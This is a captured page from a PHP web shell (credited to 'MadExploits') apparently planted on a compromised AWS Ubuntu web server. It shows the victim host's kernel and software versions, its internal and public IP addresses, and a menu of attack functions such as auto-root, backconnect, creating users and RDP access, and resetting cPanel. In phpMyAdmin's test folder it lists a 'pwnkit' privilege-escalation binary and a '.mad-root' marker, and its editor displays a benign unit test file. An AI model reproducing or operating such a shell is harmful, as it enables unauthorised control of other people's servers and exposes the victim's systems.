Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.216.156.171
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Theme /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
ThemeManagerTest.php
1.84
KB
-rw-r--r--
ThemeTest.php
6.13
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ThemeTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Theme; use PhpMyAdmin\Tests\AbstractTestCase; use PhpMyAdmin\Theme\Theme; use PhpMyAdmin\Theme\ThemeManager; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use PHPUnit\Framework\Attributes\Depends; use PHPUnit\Framework\Attributes\Group; use function filemtime; use const DIRECTORY_SEPARATOR; use const ROOT_PATH; use const TEST_PATH; #[CoversClass(Theme::class)] class ThemeTest extends AbstractTestCase { protected Theme $object; /** * Sets up the fixture, for example, opens a network connection. * This method is called before a test is executed. */ protected function setUp(): void { parent::setUp(); $this->object = new Theme(); $this->setGlobalConfig(); } /** * Test for Theme::loadInfo */ #[Group('medium')] public function testCheckImgPathNotExisted(): void { $this->object->setPath('path/to/nowhere'); self::assertFalse($this->object->loadInfo()); } /** * Test for Theme::loadInfo */ public function testCheckImgPathIncorrect(): void { $this->object->setPath(TEST_PATH . 'tests/unit/_data/incorrect_theme'); self::assertFalse( $this->object->loadInfo(), 'Theme name is not properly set', ); } /** * Test for Theme::getName, getVersion */ public function testCheckImgPathFull(): void { $this->object->setFsPath(TEST_PATH . 'tests/unit/_data/gen_version_info/'); self::assertTrue($this->object->loadInfo()); self::assertSame('Test Theme', $this->object->getName()); self::assertSame('6.0', $this->object->getVersion()); } /** * Test for Theme::loadInfo */ public function testLoadInfo(): void { $this->object->setFsPath(ROOT_PATH . 'public/themes/original/'); $infofile = $this->object->getFsPath() . 'theme.json'; self::assertTrue($this->object->loadInfo()); self::assertSame( filemtime($infofile), $this->object->mtimeInfo, ); $this->object->setPath(ROOT_PATH . 'public/themes/original'); $this->object->mtimeInfo = (int) filemtime($infofile); self::assertTrue($this->object->loadInfo()); self::assertSame('Original', $this->object->getName()); } /** * Test for Theme::load */ public function testLoad(): void { $newTheme = Theme::load( ThemeManager::getThemesDir() . 'original', ThemeManager::getThemesFsDir() . 'original' . DIRECTORY_SEPARATOR, 'original', ); self::assertNotNull($newTheme); } /** * Test for Theme::load */ public function testLoadNonExistent(): void { self::assertNull( Theme::load( ThemeManager::getThemesDir() . 'nonexistent', ThemeManager::getThemesFsDir() . 'nonexistent' . DIRECTORY_SEPARATOR, 'nonexistent', ), ); } /** * Test fir Theme::checkImgPath */ public function testCheckImgPathFallback(): void { $this->object->setPath('path/to/nowhere'); self::assertTrue($this->object->checkImgPath()); } /** * Test for Theme::checkImgPath */ public function testCheckImgPath(): void { $this->object->setPath(ROOT_PATH . 'themes/original'); self::assertTrue($this->object->checkImgPath()); } /** * Test for Theme::getPath */ public function testGetSetPath(): void { self::assertEmpty($this->object->getPath()); $this->object->setPath(ROOT_PATH . 'themes/original'); self::assertSame(ROOT_PATH . 'themes/original', $this->object->getPath()); } /** * Test for Theme::checkVersion */ #[Depends('testLoadInfo')] public function testGetSetCheckVersion(): void { self::assertSame( '0.0.0.0', $this->object->getVersion(), 'Version 0.0.0.0 by default', ); $this->object->setVersion('1.2.3.4'); self::assertSame('1.2.3.4', $this->object->getVersion()); self::assertFalse($this->object->checkVersion('0.0.1.1')); self::assertTrue($this->object->checkVersion('2.0.1.1')); } /** * Test for Theme::getName */ public function testGetSetName(): void { self::assertEmpty($this->object->getName(), 'Name is empty by default'); $this->object->setName('New Theme Name'); self::assertSame('New Theme Name', $this->object->getName()); } /** * Test for Theme::getId */ public function testGetSetId(): void { self::assertEmpty($this->object->getId(), 'ID is empty by default'); $this->object->setId('NewID'); self::assertSame('NewID', $this->object->getId()); } /** * Test for Theme::getImgPath */ public function testGetSetImgPath(): void { self::assertEmpty( $this->object->getImgPath(), 'ImgPath is empty by default', ); $this->object->setImgPath('/new/path'); self::assertSame('/new/path', $this->object->getImgPath()); } /** * Test for getImgPath * * @param string|null $file file name for image * @param string|null $fallback fallback image * @param string $output expected output */ #[DataProvider('providerForGetImgPath')] public function testGetImgPath(string|null $file, string|null $fallback, string $output): void { self::assertSame( $this->object->getImgPath($file, $fallback), $output, ); } /** * Provider for testGetImgPath * * @return mixed[] */ public static function providerForGetImgPath(): array { return [ [null, null, ''], ['screen.png', null, './themes/pmahomme/img/screen.png'], ['arrow_ltr.png', null, './themes/pmahomme/img/arrow_ltr.png'], ['logo_right.png', 'pma_logo.png', './themes/pmahomme/img/pma_logo.png'], ]; } }
Close